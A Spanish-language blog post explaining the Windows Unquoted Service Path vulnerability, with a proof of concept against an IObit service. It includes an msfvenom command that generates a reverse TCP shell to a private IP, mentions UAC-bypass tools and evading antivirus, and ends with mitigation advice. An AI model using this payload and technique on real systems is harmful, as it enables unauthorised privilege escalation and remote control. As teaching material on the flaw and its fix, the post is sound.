Unquoted Service Path - Windows - BoomerNiX

lunes, 16 de abril de 2018

Unquoted Service Path - Windows

Hoy vengo a traer un ejemplo de la vulnerabilidad Unquoted Service Path y cómo nos aprovecharemos de ella. Antes de crear la PoC, es necesario saber de qué va esta vulnerabilidad.

Explicando brevemente la vulnerabilidad

Es muy simple de entender, los servicios que están corriendo en Windows tienen una ruta hacía el ejecutable, si dicha ruta cuenta con espacios y no se encuentra entre comillas, puede producirse una ejecución inesperada al iniciar o reiniciar un servicio. Imaginemos la siguiente ruta:

C:\Program Files\Test\service.exe

Al iniciar el servicio, Windows va a intentar ejecutar:
  1. C:\Program.exe
  2. C:\Program Files\Test\service.exe

Por lo tanto, si conseguimos poner un servicio en C:\ llamado Program.exe, tendremos la posibilidad de que se ejecute código con altos privilegios, en este ejemplo abriremos un CMD con permisos system en Metasploit.

¿Cómo ver las rutas?

Aquí tenemos varias alternativas, desde consultarlo manual en Services, hacer uso de SC en una consola o crear nuestro propio script y que todo sea más rápido. Un ejemplo de uso de SC:


Y en un script podremos comprobar todos los servicios corriendo en Windows, un posible código en Python:


Bueno, ya tenemos suficiente información para pasar a la prueba de concepto.

¿Cómo copiar un archivo a la ruta?

Nota: para realizar está prueba debes iniciar sesión con un usuario que pertenezca al grupo de administradores.

Aquí se va a hablar de una prueba válida para Windows 7, Windows 8 o 8.1, para Windows 10 habría que usar otro método para copiar el fichero en la ruta deseada.
Se va a hacer uso de las siguientes herramientas de Windows (seguro que ya habréis visto que son usados para hacer bypass de UAC):

  • makecab >> Empaquetará el fichero (.exe en este caso) en un archivo .cab
  • wusa >> Extraerá el fichero del .cab en la ruta indicada

Si no hacemos uso de lo comentado arriba, no podremos alojar nuestro programa en la ruta deseada, si lo probamos a hacer manualmente, tendremos el siguiente pop-up:


Pasamos a ver el código en Python para realizar la copia de nuestro servicio a la ruta que nos permita la ejecución:


La parte de importar check_output en la línea 1 sobraría, finalmente no se ha usado aquí.

PoC

Ahora veamos la prueba de concepto y cómo funciona todo esto. Primero buscamos un servicio que sufra esta vulnerabilidad, para ello se ejecuta el script visto en puntos anteriores:


Tenemos ya localizados un par, vamos a pillar el servicio de IObit: AdvancedSystemCareService9

Crearemos el servicio con msfvenom, la utilidad de Metasploit, para ello ejecutaremos:

msfvenom -p windows/shell/reverse_tcp lhost=192.168.206.128 lport=4444 -f exe-service > Advanced.exe

Puedes crear tus propios servicios y complicar su detectabilidad a los Antivirus, aquí por simplicidad se omite el paso. Pasamos a configurar el script en BoomER y lo lanzamos:


Vemos como se ha copiado el archivo a la carpeta:


Configuramos Metasploit para recibir la CMD:


Reiniciamos el servicio para ver si funciona y podemos ver que tenemos nuestra consola con privilegios elevados en Metasploit:


Y por último un vídeo de la PoC:



Cómo evitar la vulnerabilidad

Para evitar que se de esta situación, podemos agregar las comillas a la ruta, quedando así:
“C:\Program Files\Test\service.exe”
Debes de tener en cuenta, que si la ruta no tiene espacios, dicha vulnerabilidad no se producirá.

Es la hora de despedirse, cualquier duda, sugerencia o queja será bien recibida. Un saludo.

No hay comentarios:

Publicar un comentario